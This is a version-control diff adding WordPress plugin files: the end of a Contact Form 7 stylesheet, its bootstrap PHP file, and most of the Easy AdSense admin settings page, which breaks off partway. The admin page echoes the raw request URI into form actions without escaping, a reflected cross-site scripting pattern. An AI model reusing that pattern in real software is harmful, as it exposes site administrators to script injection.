+	z-index: 100;
+	background: #fff;
+	border: 1px solid #ff0000;
+	font-size: 10pt;
+	width: 280px;
+	padding: 2px;
+}
+
+span.wpcf7-not-valid-tip-no-ajax {
+	color: #f00;
+	font-size: 10pt;
+	display: block;
+}
+
+span.wpcf7-list-item {
+	margin-left: 0.5em;
+}
+
+.wpcf7-display-none {
+	display: none;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/wp-contact-form-7.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/wp-contact-form-7.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/wp-contact-form-7.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php
+/*
+Plugin Name: Contact Form 7
+Plugin URI: http://contactform7.com/
+Description: Just another contact form plugin. Simple but flexible.
+Author: Takayuki Miyoshi
+Version: 2.0.2
+Author URI: http://ideasilo.wordpress.com/
+*/
+
+/*  Copyright 2007-2009 Takayuki Miyoshi (email: takayukister at gmail.com)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+define( 'WPCF7_VERSION', '2.0.2' );
+
+if ( ! defined( 'WPCF7_PLUGIN_BASENAME' ) )
+	define( 'WPCF7_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
+
+if ( ! defined( 'WPCF7_PLUGIN_NAME' ) )
+	define( 'WPCF7_PLUGIN_NAME', trim( dirname( WPCF7_PLUGIN_BASENAME ), '/' ) );
+
+if ( ! defined( 'WPCF7_PLUGIN_DIR' ) )
+	define( 'WPCF7_PLUGIN_DIR', WP_PLUGIN_DIR . '/' . WPCF7_PLUGIN_NAME );
+
+if ( ! defined( 'WPCF7_PLUGIN_URL' ) )
+	define( 'WPCF7_PLUGIN_URL', WP_PLUGIN_URL . '/' . WPCF7_PLUGIN_NAME );
+
+if ( ! defined( 'WPCF7_PLUGIN_MODULES_DIR' ) )
+	define( 'WPCF7_PLUGIN_MODULES_DIR', WPCF7_PLUGIN_DIR . '/modules' );
+
+if ( ! defined( 'WPCF7_LOAD_JS' ) )
+	define( 'WPCF7_LOAD_JS', true );
+
+if ( ! defined( 'WPCF7_LOAD_CSS' ) )
+	define( 'WPCF7_LOAD_CSS', true );
+
+if ( ! defined( 'WPCF7_AUTOP' ) )
+	define( 'WPCF7_AUTOP', true );
+
+if ( ! defined( 'WPCF7_USE_PIPE' ) )
+	define( 'WPCF7_USE_PIPE', true );
+
+/* If you or your client hate to see about donation, set this value false. */
+if ( ! defined( 'WPCF7_SHOW_DONATION_LINK' ) )
+	define( 'WPCF7_SHOW_DONATION_LINK', true );
+
+if ( ! defined( 'WPCF7_ADMIN_READ_CAPABILITY' ) )
+	define( 'WPCF7_ADMIN_READ_CAPABILITY', 'edit_posts' );
+
+if ( ! defined( 'WPCF7_ADMIN_READ_WRITE_CAPABILITY' ) )
+	define( 'WPCF7_ADMIN_READ_WRITE_CAPABILITY', 'publish_pages' );
+
+require_once WPCF7_PLUGIN_DIR . '/settings.php';
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/admin.php	(revision 44)
@@ -0,0 +1,500 @@
+<?php echo '<script type="text/javascript" src="'. get_option('siteurl') . '/' . PLUGINDIR . '/' .  basename(dirname(__FILE__)) . '/wz_tooltip.js"></script>' ;
+if (isset($this->ezTran)) {
+  echo '<div class="wrap" style="width:900px">' ;
+  echo '<form method="post" action="' . $_SERVER["REQUEST_URI"] . '">' ;
+  $this->ezTran->printAdminPage() ;
+  echo "</form>\n</div>" ;
+}
+else {
+?>
+<div class="wrap" style="width:900px">
+<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
+<h2 title="<?php echo $this->info(false) ?>">Easy AdSense Setup <?php if ($this->locale != "en_US") {?>
+<input type="image" title="Switch to English temporarily" src="<?php echo $this->plugindir ;?>/english.gif" style="float:right;vertical-align:40px;" name="english" value="english" />
+<?php } else { ?>
+<a href="http://validator.w3.org/" target="_blank"><img src="http://www.w3.org/Icons/valid-xhtml10" alt="Valid XHTML 1.0 Transitional" title="Easy AdSense Admin Page is certified Valid XHTML 1.0 Transitional" height="31" width="88" class="alignright"/></a>
+<?php } ?></h2>
+<table class="form-table">
+<tr><th scope="row"><h3><?php _e('Instructions', 'easy-adsenser') ; ?></h3></th></tr>
+<tr valign="middle">
+<td width="40%">
+
+<ul style="padding-left:10px;list-style-type:circle; list-style-position:inside;" >
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('help0',WIDTH, 300, TITLE, '<?php _e('How to Set it up', 'easy-adsenser') ; ?>', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 15, 5])">
+<?php
+printf(__('A few easy steps to setup %s', 'easy-adsenser'),'<em>Easy AdSense</em>') ;
+?></a><br />
+</li>
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('help1',WIDTH, 300, TITLE, '<?php _e('How to Control AdSense on Each Post', 'easy-adsenser') ; ?>', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 15, 5])">
+<?php _e('Need to control ad blocks on each post?', 'easy-adsenser') ;?></a><br />
+</li>
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('help1a',WIDTH, 300, TITLE, '<?php _e('All-in-One AdSense Control', 'easy-adsenser') ; ?>', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 15, 5])">
+<?php _e('Sidebar Widgets, Link Units or Google Search', 'easy-adsenser') ;?></a><br />
+</li>
+<li>
+<a href="#" title="<?php _e('Click for help', 'easy-adsenser') ; ?>" onclick="TagToTip('rate', TITLE, 'WordPress: AdSense Now!', STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [25, 25])">
+<?php _e('Check out the FAQ and rate this plugin.', 'easy-adsenser') ;?></a><br />
+</li>
+</ul>
+</td>
+<td width="30%">
+<div style="background-color:#ffffaa;padding:5px;border: solid 1px" id="support">
+<b><?php _e('Support this Plugin!', 'easy-adsenser') ; ?></b><br />
+<span style='text-decoration:underline' onmouseover="TagToTip('share', WIDTH, 230, TITLE, 'Ad Space Sharing',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])" onmouseout="UnTip()"><?php _e('Share a small fraction of your ad space', 'easy-adsenser') ; ?></span>,
+<em style="text-decoration:underline" onmouseover="TagToTip('unreal', WIDTH, 230, TITLE, 'Buy &lt;em&gt;The Unreal Universe&lt;/em&gt;',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])"><?php _e('Buy a book, <b>The Unreal Universe</b>', 'easy-adsenser') ; ?></em>, or
+<span style='text-decoration:underline' onmouseover="TagToTip('donate', WIDTH, 230, TITLE, 'Donation',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])"><?php _e('Make a donation', 'easy-adsenser') ; ?></span>.
+</div>
+</td>
+<td width="30%">
+<div style="background-color:#ccffff;padding:15px;border: solid 1px">
+<center>
+<big style="color:#a48;font-variant: small-caps;text-decoration:underline" onmouseover="TagToTip('unreal', WIDTH, 230, TITLE, 'Buy &lt;em&gt;The Unreal Universe&lt;/em&gt;',STICKY, 1, CLOSEBTN, true, CLICKCLOSE, true, FIX, [this, 5, 5])"><b>The Unreal Universe</b></big><br />
+A Remarkable Book on<br />Physics and Philosophy<br />
+</center>
+</div>
+</td>
+</tr>
+</table>
+
+<table class="form-table">
+<tr><th scope="row"><h3><?php printf(__('Options (for the %s theme)', 'easy-adsenser'), $mThemeName); ?> </h3></th></tr>
+</table>
+
+<table width="100%">
+<tr>
+<td width="50%" height="50px">
+
+<table class="form-table">
+<tr>
+<td width="50%" height="40px">
+<b><u><?php _e('Ad Blocks in Your Posts', 'easy-adsenser') ; ?></u></b><br />
+<?php _e('[Appears in your posts and pages]', 'easy-adsenser') ; ?>
+</td>
+</tr>
+</table>
+</td>
+
+<td width="50%" height="50px">
+<table class="form-table">
+<tr>
+<td width="50%" height="40px">
+<b><u><?php _e('Widgets for Your Sidebars', 'easy-adsenser') ; ?></u></b><br />
+<?php _e('[See <a href="widgets.php"> Appearance (or Design) &rarr; Widgets</a>]', 'easy-adsenser') ; ?>
+</td>
+</tr>
+</table>
+</td>
+</tr>
+</table>
+
+
+<table width="100%">
+<tr valign="top">
+<td width="50%">
+<table class="form-table">
+<tr valign="top">
+<td width="50%" height="220px" valign="middle">
+<b><?php _e('Lead-in AdSense Text', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Appears near the beginning of the post)', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="ezAdSenseTextLeadin" style="width: 95%; height: 130px;"><?php echo(stripslashes(htmlspecialchars($ezAdOptions['text_leadin']))) ?></textarea>
+<br />
+<b><?php _e('Ad Alignment', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Where to show?)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseShowLeadin_left">
+<input type="radio" id="ezAdSenseShowLeadin_left" name="ezAdSenseShowLeadin" value="float:left" <?php if ($ezAdOptions['show_leadin'] == "float:left") { echo('checked="checked"'); }?> /> <?php _e('Align Left', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLeadin_center">
+<input type="radio" id="ezAdSenseShowLeadin_center" name="ezAdSenseShowLeadin" value="text-align:center" <?php if ($ezAdOptions['show_leadin'] == "text-align:center") { echo('checked="checked"'); }?> /> <?php _e('Center', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLeadin_right">
+<input type="radio" id="ezAdSenseShowLeadin_right" name="ezAdSenseShowLeadin" value="float:right" <?php if ($ezAdOptions['show_leadin'] == "float:right") { echo('checked="checked"'); }?> /> <?php _e('Align Right', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLeadin_no">
+<input type="radio" id="ezAdSenseShowLeadin_no" name="ezAdSenseShowLeadin" value="no" <?php if ($ezAdOptions['show_leadin'] == "no") { echo('checked="checked"'); }?> /> <?php _e('Suppress Lead-in Ad', 'easy-adsenser') ; ?></label>
+</td>
+</tr>
+<tr valign="top">
+<td width="50%" height="220px" valign="middle">
+<b><?php _e('Mid-Post AdSense Text', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Appears near the middle of the post)', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="ezAdSenseTextMidtext" style="width: 95%; height: 130px;"><?php echo(stripslashes(htmlspecialchars($ezAdOptions['text_midtext']))) ?></textarea>
+<br />
+<b><?php _e('Ad Alignment', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Where to show?)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseShowMidtext_left">
+<input type="radio" id="ezAdSenseShowMidtext_left" name="ezAdSenseShowMidtext" value="float:left" <?php if ($ezAdOptions['show_midtext'] == "float:left") { echo('checked="checked"'); }?> /> <?php _e('Align Left', 'easy-adsenser') ; ?></label>&nbsp;
+<label for="ezAdSenseShowMidtext_center">
+<input type="radio" id="ezAdSenseShowMidtext_center" name="ezAdSenseShowMidtext" value="text-align:center" <?php if ($ezAdOptions['show_midtext'] == "text-align:center") { echo('checked="checked"'); }?> /> <?php _e('Center', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowMidtext_right">
+<input type="radio" id="ezAdSenseShowMidtext_right" name="ezAdSenseShowMidtext" value="float:right" <?php if ($ezAdOptions['show_midtext'] == "float:right") { echo('checked="checked"'); }?> /> <?php _e('Align Right', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowMidtext_no">
+<input type="radio" id="ezAdSenseShowMidtext_no" name="ezAdSenseShowMidtext" value="no" <?php if ($ezAdOptions['show_midtext'] == "no") { echo('checked="checked"'); }?> /> <?php _e('Suppress Mid-post Ad', 'easy-adsenser') ; ?></label><br />
+</td>
+</tr>
+<tr valign="top">
+<td width="50%" height="250px" valign="middle">
+<b><?php _e('Post Lead-out AdSense Text', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Appears near the end of the post)', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="ezAdSenseTextLeadout" style="width: 95%; height: 162px;"><?php echo(stripslashes(htmlspecialchars($ezAdOptions['text_leadout']))) ?></textarea>
+<br />
+<b><?php _e('Ad Alignment', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Where to show?)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseShowLeadout_left">
+<input type="radio" id="ezAdSenseShowLeadout_left" name="ezAdSenseShowLeadout" value="float:left" <?php if ($ezAdOptions['show_leadout'] == "float:left") { echo('checked="checked"'); }?> /> <?php _e('Align Left', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLeadout_center">
+<input type="radio" id="ezAdSenseShowLeadout_center" name="ezAdSenseShowLeadout" value="text-align:center" <?php if ($ezAdOptions['show_leadout'] == "text-align:center") { echo('checked="checked"'); }?> /> <?php _e('Center', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLeadout_right">
+<input type="radio" id="ezAdSenseShowLeadout_right" name="ezAdSenseShowLeadout" value="float:right" <?php if ($ezAdOptions['show_leadout'] == "float:right") { echo('checked="checked"'); }?> /> <?php _e('Align Right', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLeadout_no">
+<input type="radio" id="ezAdSenseShowLeadout_no" name="ezAdSenseShowLeadout" value="no" <?php if ($ezAdOptions['show_leadout'] == "no") { echo('checked="checked"'); }?> /> <?php _e('Suppress Lead-out Ad', 'easy-adsenser') ; ?></label><br />
+</td>
+</tr>
+</table>
+
+<table class="form-table">
+<tr valign="top">
+<td width="50%" height="250px" valign="middle">
+<b><?php _e('Option on Google Policy', 'easy-adsenser') ; ?></b>
+<font size="-2"><?php _e('(Google policy allows no more than three ad blocks and three link units per page)', 'easy-adsenser') ; ?></font>
+<br />
+<label for="ezAdSenseMax3">
+<input type="radio" id="ezAdSenseMax3" name="ezAdSenseMax" value="3" <?php if ($ezAdOptions['max_count'] == 3) { echo('checked="checked"'); }?> /> <?php _e('Three ad blocks (including the side bar widget, if enabled).', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdSenseMax2">
+<input type="radio" id="ezAdSenseMax2" name="ezAdSenseMax" value="2" <?php if ($ezAdOptions['max_count'] == 2) { echo('checked="checked"'); }?> /> <?php _e('Two ad blocks.', 'easy-adsenser') ; ?></label>
+<label for="ezAdSenseMax1">
+<input type="radio" id="ezAdSenseMax1" name="ezAdSenseMax" value="1" <?php if ($ezAdOptions['max_count'] == 1) { echo('checked="checked"'); }?> /> <?php _e('One ad block.', 'easy-adsenser') ; ?></label>
+<label for="ezAdSenseMax0">
+<input type="radio" id="ezAdSenseMax0" name="ezAdSenseMax" value="0" <?php if ($ezAdOptions['max_count'] == 0) { echo('checked="checked"'); }?> /> <?php _e('No ad blocks in posts.', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdSenseMax9">
+<input type="radio" id="ezAdSenseMax9" name="ezAdSenseMax" value="99" <?php if ($ezAdOptions['max_count'] == 99) { echo('checked="checked"'); }?> /> <?php _e('Any number of ad blocks (At your own risk!)', 'easy-adsenser') ; ?></label><br />
+
+<?php if (get_bloginfo('version') < 2.8) {_e('Number of Link Units widgets (&le; 3) [Google serves only three]:', 'easy-adsenser') ; ?> <input style="width:20px;text-align:center;" id="ezLimitLU" name="ezLimitLU" value="<?php echo(stripslashes(htmlspecialchars($ezAdOptions['limit_lu'])));?>" /><br /><br style="line-height: 7px;" /> <?php } else echo '<br style="line-height: 7px;" />' ;?>
+
+<b><?php printf(__('Support %s by Donating Ad Space', 'easy-adsenser'), 'Easy AdSense') ; ?></b><br />
+<?php _e('Percentage of ad slots to share [Default: 5%]:', 'easy-adsenser') ; ?> <input style="width:20px;text-align:center;" id="ezMC" name="ezMC" value="<?php echo(stripslashes(htmlspecialchars($ezAdOptions['mc'])));?>" />%<br /><br style="line-height: 7px;" />
+
+<b><?php _e('Suppress AdSense Ad Blocks on:', 'easy-adsenser') ; ?></b>&nbsp;&nbsp;
+<input type="checkbox" id="ezKillPages" name="ezKillPages" value="true" <?php if ($ezAdOptions['kill_pages']) { echo('checked="checked"'); }?> /> <a href="http://codex.wordpress.org/Pages" target="_blank" title="<?php _e('Click to see the difference between posts and pages', 'easy-adsenser') ; ?>"><?php _e('Pages (Ads only on Posts)', 'easy-adsenser') ; ?></a><br />
+<label for="ezKillAttach" title="<?php _e('Pages that show attachments', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezKillAttach" name="ezKillAttach" <?php if ($ezAdOptions['kill_attach']) { echo('checked="checked"'); }?> /> <?php _e('Attachment Page', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<label for="ezKillHome" title="<?php _e('Home Page and Front Page are the same for most blogs', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezKillHome" name="ezKillHome" <?php if ($ezAdOptions['kill_home']) { echo('checked="checked"'); }?> /> <?php _e('Home Page', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<label for="ezKillFront" title="<?php _e('Home Page and Front Page are the same for most blogs', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezKillFront" name="ezKillFront" <?php if ($ezAdOptions['kill_front']) { echo('checked="checked"'); }?> /> <?php _e('Front Page', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<br />
+<label for="ezKillCat" title="<?php _e('Pages that come up when you click on category names', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezKillCat" name="ezKillCat" <?php if ($ezAdOptions['kill_cat']) { echo('checked="checked"'); }?> /> <?php _e('Category Pages', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;&nbsp;&nbsp;
+<label for="ezKillTag" title="<?php _e('Pages that come up when you click on tag names', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezKillTag" name="ezKillTag" <?php if ($ezAdOptions['kill_tag']) { echo('checked="checked"'); }?> /> <?php _e('Tag Pages', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;&nbsp;
+<label for="ezKillArchive" title="<?php _e('Pages that come up when you click on year/month archives', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezKillArchive" name="ezKillArchive" <?php if ($ezAdOptions['kill_archive']) { echo('checked="checked"'); }?> /> <?php _e('Archive Pages', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+</td>
+</tr>
+</table>
+
+</td>
+<td width="50%">
+
+<table class="form-table">
+<tr valign="top">
+<td width="50%" height="220px" valign="middle">
+<b><?php _e('AdSense Widget Text', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Appears in the Sidebar as a Widget)', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="ezAdSenseTextWidget" style="width: 95%; height: 110px;"><?php echo(stripslashes(htmlspecialchars($ezAdOptions['text_widget']))) ?></textarea>
+<br />
+<b><?php _e('Ad Alignment', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Where to show?)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseShowWidget_left">
+<input type="radio" id="ezAdSenseShowWidget_left" name="ezAdSenseShowWidget" value="text-align:left" <?php if ($ezAdOptions['show_widget'] == "text-align:left") { echo('checked="checked"'); }?> /> <?php _e('Align Left', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowWidget_center">
+<input type="radio" id="ezAdSenseShowWidget_center" name="ezAdSenseShowWidget" value="text-align:center" <?php if ($ezAdOptions['show_widget'] == "text-align:center") { echo('checked="checked"'); }?> /> <?php _e('Center', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowWidget_right">
+<input type="radio" id="ezAdSenseShowWidget_right" name="ezAdSenseShowWidget" value="text-align:right" <?php if ($ezAdOptions['show_widget'] == "text-align:right") { echo('checked="checked"'); }?> /> <?php _e('Align Right', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowWidget_no">
+<input type="radio" id="ezAdSenseShowWidget_no" name="ezAdSenseShowWidget" value="no" <?php if ($ezAdOptions['show_widget'] == "no") { echo('checked="checked"'); }?> /> <?php _e('Suppress Widget', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdWidgetTitle"><b><?php _e('Widget Title:', 'easy-adsenser') ; ?></b>&nbsp; <input style="width:200px" id="ezAdWidgetTitle" name="ezAdWidgetTitle" type="text" value= "<?php echo(stripslashes(htmlspecialchars($ezAdOptions['title_widget']))) ?>" /></label>
+</td>
+</tr>
+<tr valign="top">
+<td width="50%" height="220px" valign="middle">
+<b><?php _e('AdSense Link-Units Text', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Appears in the Sidebar as  Widgets)', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="ezAdSenseTextLU" style="width: 95%; height: 110px;"><?php echo(stripslashes(htmlspecialchars($ezAdOptions['text_lu']))) ?></textarea>
+<br />
+<b><?php _e('Ad Alignment', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Where to show?)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseShowLU_left">
+<input type="radio" id="ezAdSenseShowLU_left" name="ezAdSenseShowLU" value="text-align:left" <?php if ($ezAdOptions['show_lu'] == "text-align:left") { echo('checked="checked"'); }?> /> <?php _e('Align Left', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLU_center">
+<input type="radio" id="ezAdSenseShowLU_center" name="ezAdSenseShowLU" value="text-align:center" <?php if ($ezAdOptions['show_lu'] == "text-align:center") { echo('checked="checked"'); }?> /> <?php _e('Center', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLU_right">
+<input type="radio" id="ezAdSenseShowLU_right" name="ezAdSenseShowLU" value="text-align:right" <?php if ($ezAdOptions['show_lu'] == "text-align:right") { echo('checked="checked"'); }?> /> <?php _e('Align Right', 'easy-adsenser') ; ?> </label>&nbsp;
+<label for="ezAdSenseShowLU_no">
+<input type="radio" id="ezAdSenseShowLU_no" name="ezAdSenseShowLU" value="no" <?php if ($ezAdOptions['show_lu'] == "no") { echo('checked="checked"'); }?> /> <?php _e('Suppress Link Units', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdLUTitle"><b><?php _e('Link Unit Title:', 'easy-adsenser') ; ?></b>&nbsp; <input style="width: 200px;" id="ezAdLUTitle" name="ezAdLUTitle" type="text" value= "<?php echo(stripslashes(htmlspecialchars($ezAdOptions['title_lu']))) ?>" /></label>
+</td>
+</tr>
+<tr valign="top">
+<td width="50%" height="250px" valign="middle">
+<b><?php _e('Google Search Widget', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Adds a Google Search Box to your sidebar)', 'easy-adsenser') ; ?><br />
+<textarea cols="50" rows="15" name="ezAdSenseTextGSearch" style="width: 95%; height: 110px;"><?php echo(stripslashes(htmlspecialchars($ezAdOptions['text_gsearch']))) ?></textarea>
+<br />
+<b><?php _e('Search Title', 'easy-adsenser') ; ?></b>&nbsp;
+<?php _e('(Title of the Google Search Widget)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseShowGSearch_dark">
+<input type="radio" id="ezAdSenseShowGSearch_dark" name="ezAdSenseShowGSearch" value="dark" <?php if ($ezAdOptions['title_gsearch'] == "dark") { echo('checked="checked"'); }?> />&nbsp; <?php echo '<img src=" ' . $this->plugindir . '/google-dark.gif" border="0" alt="Google (dark)" style="background:black;vertical-align:-40%;"'; ?> /> </label>&nbsp;
+<label for="ezAdSenseShowGSearch_light">
+<input type="radio" id="ezAdSenseShowGSearch_light" name="ezAdSenseShowGSearch" value="light" <?php if ($ezAdOptions['title_gsearch'] == "light") { echo('checked="checked"'); }?> />&nbsp; <?php echo '<img src=" ' . $this->plugindir . '/google-light.gif" border="0" alt="Google (light)" style="background:white;vertical-align:-40%;"'; ?> /> </label>&nbsp;
+<label for="ezAdSenseShowGSearch_no">
+<input type="radio" id="ezAdSenseShowGSearch_no" name="ezAdSenseShowGSearch" value="no" <?php if ($ezAdOptions['title_gsearch'] == "no") { echo('checked="checked"'); }?> /> <?php _e('Suppress Search Box', 'easy-adsenser') ; ?></label><br /><br />
+<label for="ezAdSenseShowGSearch_text">
+<input type="radio" id="ezAdSenseShowGSearch_text" name="ezAdSenseShowGSearch" value="text" <?php $title = $ezAdOptions['title_gsearch'] ; if ($title != 'dark' && $title != 'light' && $title != 'no') { echo('checked="checked"'); }?> /> <b><?php _e('Custom Title:', 'easy-adsenser') ; ?></b></label>&nbsp;
+<label for="ezAdSearchTitle">
+<input style="width: 200px;" id="ezAdSearchTitle" name="ezAdSearchTitle" type="text" value= "<?php echo(stripslashes(htmlspecialchars($ezAdOptions['title_gsearch']))) ?>" /></label>
+</td>
+</tr>
+</table>
+
+<table class="form-table">
+<tr valign="top">
+<td width="50%" height="250px" valign="middle">
+<b><?php _e('Other Options', 'easy-adsenser') ; ?></b><br />
+<label for="ezAllowFeeds">
+<input type="checkbox" id="ezAllowFeeds" name="ezAllowFeeds"  <?php if ($ezAdOptions['allow_feeds']) { echo('checked="checked"'); }?> /> <?php _e('Allow ad blocks in feeds. [Please report any problems with this option.]', 'easy-adsenser') ; ?></label><br />
+<label for="ezForceWidget">
+<input type="checkbox" id="ezForceWidget" name="ezForceWidget"  <?php if ($ezAdOptions['force_widget']) { echo('checked="checked"'); }?> /> <?php _e('Prioritize sidebar widget. (Always shows the widget, if enabled.)', 'easy-adsenser') ; ?></label><br />
+<label for="ezForceMidAd">
+<input type="checkbox" id="ezForceMidAd" name="ezForceMidAd"  <?php if ($ezAdOptions['force_midad']) { echo('checked="checked"'); }?> /> <?php _e('Force mid-text ad (if enabled) even in short posts.', 'easy-adsenser') ; ?></label><br />
+<label for="ezShowBorders"  onmouseover="Tip('<?php _e('Google Policy says that you may not direct user attention to the ads via arrows or other graphical gimmicks. Please convince yourself that showing a mouseover decoration does not violate this Google statement before enabling this option.', 'easy-adsenser') ?>',WIDTH, 240, TITLE, 'Your call')" onmouseout="UnTip()" >
+<input type="checkbox" id="ezShowBorders" name="ezShowBorders" <?php if ($ezAdOptions['show_borders']) { echo('checked="checked"'); }?> /> <?php _e('Show a border around the ads on mouseover.', 'easy-adsenser') ; ?></label><br />&nbsp;&nbsp;&nbsp;&nbsp;
+Width: <input style="width:20px;text-align:center;" id="ezBorderWidth" name="ezBorderWidth" value="<?php echo(stripslashes(htmlspecialchars($ezAdOptions['border_width'])));?>" />px&nbsp;&nbsp;
+Color: #<input style="width:50px;text-align:center;" id="ezBorderColor" name="ezBorderColor" value="<?php echo(stripslashes(htmlspecialchars($ezAdOptions['border_color'])));?>" />&nbsp;&nbsp;
+<label for="ezBorderWidget" title="<?php _e('Show the same border on the sidebar widget as well?', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezBorderWidget" name="ezBorderWidget" <?php if ($ezAdOptions['border_widget']) { echo('checked="checked"'); }?> /> <?php _e('Widget?', 'easy-adsenser') ; ?></label>&nbsp;&nbsp;
+<label for="ezBorderLU" title="<?php _e('Show the same border on the link units too?', 'easy-adsenser') ; ?>">
+<input type="checkbox" id="ezBorderLU" name="ezBorderLU" <?php if ($ezAdOptions['border_lu']) { echo('checked="checked"'); }?> /> <?php _e('Link Units?', 'easy-adsenser') ; ?></label><br />
+<br />
+<b><?php _e('Link-backs to', 'easy-adsenser') ; ?> <a href="http://www.Thulasidas.com" target="_blank">Unreal Blog</a></b>
+<?php _e('(Consider showing at least one link.)', 'easy-adsenser') ; ?><br />
+<label for="ezAdSenseLinkMax99">
+<input type="radio" id="ezAdSenseLinkMax99" name="ezAdSenseLinkMax" value="99" <?php if ($ezAdOptions['max_link'] == 99) { echo('checked="checked"'); }?> /> <?php _e('Show a link under every ad block.', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdSenseLinkMax1">
+<input type="radio" id="ezAdSenseLinkMax1" name="ezAdSenseLinkMax" value="1" <?php if ($ezAdOptions['max_link'] == 1) { echo('checked="checked"'); }?> /> <?php _e('Show the link only under the first ad block.', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdSenseLinkMax-1">
+<input type="radio" id="ezAdSenseLinkMax-1" name="ezAdSenseLinkMax" value="-1" <?php if ($ezAdOptions['max_link'] == -1) { echo('checked="checked"'); }?> /> <?php _e('Show the link at the bottom of your blog page.', 'easy-adsenser') ; ?></label><br />
+<label for="ezAdSenseLinkMax0">
+<input type="radio" id="ezAdSenseLinkMax0" name="ezAdSenseLinkMax" value="0" <?php if ($ezAdOptions['max_link'] == 0) { echo('checked="checked"'); }?> /> <?php _e('Show no links to my blog anywhere (Are you sure?!)', 'easy-adsenser') ; ?></label>
+</td>
+</tr>
+</table>
+
+</td>
+</tr>
+</table>
+
+<div class="submit">
